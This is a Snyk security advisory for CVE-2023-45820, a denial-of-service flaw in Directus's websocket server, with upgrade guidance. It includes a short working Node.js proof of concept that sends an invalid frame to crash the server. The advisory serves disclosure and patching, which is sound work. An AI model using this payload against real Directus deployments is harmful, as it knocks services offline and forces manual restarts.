Improper Handling of Exceptional Conditions Affecting directus package, versions >=10.4.1 <10.6.2
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.07% (32nd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-DIRECTUS-6016493
- published 20 Oct 2023
- disclosed 19 Oct 2023
- credit Nikke Leskelä
Introduced: 19 Oct 2023
CVE-2023-45820 Open this link in a new tabHow to fix?
Upgrade directus
to version 10.6.2 or higher.
Overview
directus is a Directus is a real-time API and App dashboard for managing SQL database content.
Affected versions of this package are vulnerable to Improper Handling of Exceptional Conditions via the websocket
server. An attacker can cause the server to crash and require a manual restart by sending an invalid frame. This is only exploitable if websockets are enabled.
PoC
const WebSocket = require("ws");
const websocket = new WebSocket("ws://0.0.0.0:8055/websocket");
websocket.on("open", function () {
const chunk = Buffer.from("a180", "hex");
websocket._socket.write(chunk);
});
References
CVSS Scores
version 3.1